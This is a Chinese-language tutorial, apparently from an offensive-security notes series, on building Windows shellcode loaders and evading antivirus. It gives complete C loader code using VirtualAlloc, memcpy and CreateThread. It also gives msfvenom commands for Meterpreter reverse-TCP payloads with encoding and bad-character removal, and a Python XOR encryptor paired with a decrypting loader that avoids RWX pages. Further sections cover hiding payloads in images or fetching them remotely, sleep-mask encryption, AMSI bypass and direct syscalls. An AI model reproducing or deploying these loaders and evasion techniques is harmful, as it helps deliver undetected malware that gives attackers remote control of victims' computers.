shellcode

概念

shellcode是一种特殊的二进制代码,主要用于在目标系统上执行特定的操作,之所以称为shellcode是因为大多数二进制代码成功利用后会获取目标系统 shell 的控制权

shellcode文件

通常是一个二进制文件,以二进制格式存储,一般情况下还可能以十六进制字符串的格式出现,但运行时依旧被视为二进制数据

出现原因

可以进行不同方式控制主机,解决只有exe上限的困局

如何运行

一般情况下我们拿到的shellcode,要么是十六进制,要么是二进制,他们都是不能单独直接运行的文件,需要借助加载器实现 shellcode 的运行

使用加载器加载shellcode

编写

VirtualAlloc函数

是Windows API中用于分配/申请、保留或者提交内存区域的函数,原型如下

LPVOID VirtualAlloc(
  LPVOID  lpAddress,
  SIZE_T  dwSize,
  DWORD   flAllocationType,
  DWORD   flProtect
);

含义:

  • lpAddress:指定分配或者保留内存区域的首选基地址。如果此参数为NULL,则系统会选择适当的地址;如果指定了地址,系统就会尝试在指定的基地址上分配内存
  • dwSize:指定要分配的内存区域大小,单位字节
  • flAllocationType:指定内存的分配类型
    • MEM_COMMIT(0x1000):为已保留或新建的地址区域分配物理存储(物理内存或分页文件),页面内容被初始化为零
    • MEM_RESERVE(0x2000):仅保留进程的虚拟地址空间,不分配任何物理存储。常与 MEM_COMMIT 组合使用(即 0x3000),先保留再提交
    • MEM_RESET(0x80000):声明该内存区域的数据已不再需要,系统可随时丢弃其物理页以缓解内存压力。被丢弃的页面内容变为未定义,不保证清零
  • flProtect:指定内存保护属性,可能的值包括:
    • 1. 基础读写/执行权限(核心常量)
      • PAGE_NOACCESS (0x01):禁止所有访问。任何对该区域的读取、写入或执行操作都将直接引发访问违规(Access Violation)异常。
      • PAGE_READONLY (0x02):允许只读访问。如果试图写入数据或执行该区域中的代码,将引发异常。
      • PAGE_READWRITE (0x04):允许读取和写入访问。这是最常用的数据页面属性(如堆栈、全局变量区)。
      • PAGE_EXECUTE (0x10):允许执行代码,但拒绝读取和写入操作。
      • PAGE_EXECUTE_READ (0x20):允许执行和读取代码,禁止写入。常用于存放合法的、不可修改的可执行代码段。
      • PAGE_EXECUTE_READWRITE (0x40):允许执行、读取和写入操作。常用于动态代码生成(JIT 编译)或 shellcode 载入,具有极高的安全风险。
    • 2. 写时复制权限(Copy-on-Write, COW 常量)
      • PAGE_WRITECOPY (0x08):写时复制(数据)。允许读取,但不能直接修改原始物理内存。
        • 当进程尝试向该区域写入数据时,系统会拦截此操作,并在物理内存中为该页面创建一个私有副本。
        • 随后的修改将写入副本中,之后的读写均针对该副本,从而避免影响其他共享该内存的进程。
        • 常见场景:加载可执行文件(.dll / .exe)的初始数据段。
      • PAGE_EXECUTE_WRITECOPY (0x80):写时复制(可执行代码)。其行为与 PAGE_WRITECOPY 机制完全相同,但额外允许在该内存区域中执行代码。
        • 常见场景:映射可执行映像(Image)的代码段。当多个进程共享同一个 DLL 的代码时,若某个进程(如调试器)试图修改代码(如下断点或进行 API Hooking),系统会为其生成私有副本,确保其他进程不受影响。
    • 3. 高级属性修饰符(可通过位或运算符 | 与上述常量组合使用)
      • PAGE_GUARD (0x100):将页面标记为守护页面(Guard Page)。
        • 当该页面第一次被访问(读或写)时,系统会抛出一个 STATUS_GUARD_PAGE_VIOLATION 异常,并自动移除该页面的守护属性。
        • 常见场景:用于线程栈(Stack)的动态增长监测或边界溢出检测。
      • PAGE_NOCACHE (0x200):禁止 CPU 缓存该内存页面的内容。所有读写操作将直接作用于物理内存,通常用于驱动程序开发或特定的硬件外设交互。
      • PAGE_WRITECOMBINE (0x400):允许写组合。将多个写操作合并为一个总线周期进行传输,用以优化视频缓冲区等设备的写入性能。

memcpy函数

是 C 标准库(<string.h>)中用于将一段内存按字节复制到另一段内存的函数,原型如下

void *memcpy(void *dest, const void *src, size_t count);

含义:

  • dest:目标内存地址,复制的内容写入此处
  • src:源内存地址,复制的内容从此处读取
  • count:要复制的字节数

返回值:返回 dest。该函数不处理内存重叠(overlapping),若源、目区域重叠应改用 memmove。

在 shellcode 加载场景中,memcpy 的作用是把程序数据段里的 shellcode 拷贝进 VirtualAlloc 申请到的可执行内存。也可用 Windows API RtlMoveMemory(由 ntdll.dll 导出)替代,二者行为等价:

RtlMoveMemory(addr, sc, len);   // 等价于 memcpy(addr, sc, len)

CreateThread函数

是 Windows API 中用于在当前进程内创建一个新线程的函数。加载 shellcode 时需要借助它,从 shellcode 首地址起开一条线程去执行。原型如下

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

含义:

  • lpThreadAttributes:指向安全属性结构的指针,决定返回句柄能否被子进程继承。传 NULL 表示不可继承
  • dwStackSize:线程栈初始大小(字节),传 0 使用系统默认值(通常 1MB)
  • lpStartAddress:线程函数起始地址。加载 shellcode 时,这里传 VirtualAlloc 返回的 shellcode 内存地址,线程便从该处第一条指令开始执行
  • lpParameter:传给线程函数的单个参数指针,不需要时传 NULL
  • dwCreationFlags:创建标志。传 0 表示创建后立即运行;传 CREATE_SUSPENDED(0x4) 表示创建后挂起,需用 ResumeThread 唤醒(进程注入常用)
  • lpThreadId:接收线程 ID 的变量指针,不需要时传 NULL

返回值:成功返回新线程句柄 HANDLE,失败返回 NULL。

WaitForSingleObject函数

是 Windows API 中用于等待某个内核对象进入”已通知”(signaled)状态的函数。在加载器中,主线程创建子线程执行 shellcode 后,若不阻塞等待,主线程会立即退出,导致整个进程(连同子线程)被销毁,shellcode 来不及执行。原型如下

DWORD WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);

含义:

  • hHandle:要等待的对象句柄,这里传入 CreateThread 返回的线程句柄
  • dwMilliseconds:超时时间(毫秒)。传 INFINITE(0xFFFFFFFF) 表示无限等待,直到对象进入 signaled 状态

线程执行结束时会自动进入 signaled 状态,因此 INFINITE 会一直阻塞到 shellcode 线程退出。

完整加载示例(C语言)

把上述四个 API 串起来,就是一个最朴素的 shellcode 加载器:

#include <windows.h>
#include <string.h>
 
// 示例 shellcode,实际使用时替换为 msfvenom 等生成的真实 payload
unsigned char sc[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    /* ... 填充完整的 shellcode ... */
};
 
int main() {
    // 1. 申请可读可写可执行(RWX)内存
    void *addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (addr == NULL) return -1;
 
    // 2. 将 shellcode 复制到申请的内存中
    memcpy(addr, sc, sizeof(sc));
 
    // 3. 创建线程,从 shellcode 首地址开始执行
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
    if (hThread == NULL) return -1;
 
    // 4. 阻塞等待 shellcode 线程执行结束
    WaitForSingleObject(hThread, INFINITE);
 
    // 5. 释放线程句柄
    CloseHandle(hThread);
    return 0;
}

这是最基础的加载链:VirtualAlloc(RWX) → memcpy → CreateThread → WaitForSingleObject,能跑通但毫无免杀能力——直接申请 RWX 内存、明文 shellcode、API 调用全部暴露在用户态 hook 下。多种免杀写法见 4 加载器的编写。

shellcode免杀

上面的原始加载器在现代杀软面前几乎”裸奔”,需要从多个维度对 shellcode 数据本身和加载过程做处理。本节聚焦 shellcode 数据层的免杀;进程注入、direct syscall 等加载层技术见 4 加载器的编写。

坏字符处理

生成的 shellcode 中可能包含对某些场景有害的字节(坏字符,bad chars),例如:

  • \x00(空字节):C 字符串截断符,会导致 memcpy、strcpy 等提前终止
  • \x0a(\n)、\x0d(\r):换行符,经网络或命令行传递时会被截断
  • \xff:部分协议的结束标志

用 msfvenom 生成时通过 -b 参数规避:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 -b "\x00\x0a\x0d" -f c

编码免杀

通过 encoder 对 shellcode 做多态编码以破坏原有特征码。msf 最常用的是 x86/shikata_ga_nai(多态编码,每次生成结果不同):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 -e x86/shikata_ga_nai -i 15 -b "\x00" -f c

-i 控制编码次数,但次数越多不代表免杀越强,过多反而容易生成失败。多重编码可用管道串联不同 encoder,详见 1 免杀工具的使用。

加密免杀

将 shellcode 用对称加密(XOR、RC4、AES 等)处理后硬编码进加载器,运行时再解密执行。相比 encoder,加密后的密文熵值高、无公开特征,且密钥/算法可自定义,杀软难以建立通用查杀规则。以最简单的单字节 XOR 为例:

生成时加密(Python,对 msfvenom 输出的 raw 文件做 XOR,并打印成 C 数组):

key = 0x41  # XOR 密钥
enc = bytes(b ^ key for b in open("shellcode.raw", "rb").read())
 
print("unsigned char sc[] = {")
for i in range(0, len(enc), 16):
    print("  " + ", ".join("0x{:02x}".format(b) for b in enc[i:i+16]) + ",")
print("};")

加载时解密(C,先申请内存写入密文,再原地 XOR 解密,最后改权限执行):

#include <windows.h>
#include <string.h>
 
unsigned char sc[] = { /* XOR 加密后的密文 */ };
 
int main() {
    unsigned char key = 0x41;
    SIZE_T len = sizeof(sc);
 
    // 1. 先申请 RW 内存(不直接 RWX,规避高危页面信号)
    void *addr = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (addr == NULL) return -1;
 
    // 2. 写入密文
    memcpy(addr, sc, len);
 
    // 3. 原地 XOR 解密
    for (SIZE_T i = 0; i < len; i++) {
        ((unsigned char *)addr)[i] ^= key;
    }
 
    // 4. 改为只读可执行(先写后改,全程不出现 RWX 页)
    DWORD oldProtect;
    VirtualProtect(addr, len, PAGE_EXECUTE_READ, &oldProtect);
 
    // 5. 创建线程执行
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

单字节 XOR 强度很低(易被熵分析 + 暴力还原),实战更推荐 RC4(流密码、密钥可变)或 AES(分组密码)。XOR 的价值在于把”密文落地 + 运行时解密”这条最基本的免杀链路讲清楚。

分离免杀

把 shellcode 与加载器物理分离,避免杀软同时扫到加载器特征和 shellcode 特征。常见做法:

  • 加密后的 shellcode 写入看似无害的文件(图片、证书、文本、资源段),加载器运行时再读取并解密
  • 从远程(HTTP、DNS、第三方网盘)拉取 shellcode,本地文件不含任何 payload
  • 将 shellcode 作为资源嵌入正常 PE 文件,见 3 白加黑

分离后加载器本身不含敏感字节,静态扫描极难命中,是实战中最常用的免杀思路之一。

内存层对抗

即使静态免杀成功,shellcode 落地内存后仍可能被内存扫描、AMSI、ETW 命中:

  • 不直接申请 RWX:先 RW 写入、再用 VirtualProtect 改 RX,避免”可读可写可执行”这一高危页面属性
  • 加密睡眠:线程空闲时加密自身内存、Sleep 醒来后再解密,躲避定时内存扫描(如 Cobalt Strike 的 sleep_mask)
  • AMSI bypass:在 PowerShell / .NET 加载场景下 patch 掉 AMSI,避免脚本内容被扫描
  • syscall / indirect syscall:绕过 ntdll 用户态 hook,详见 4 加载器的编写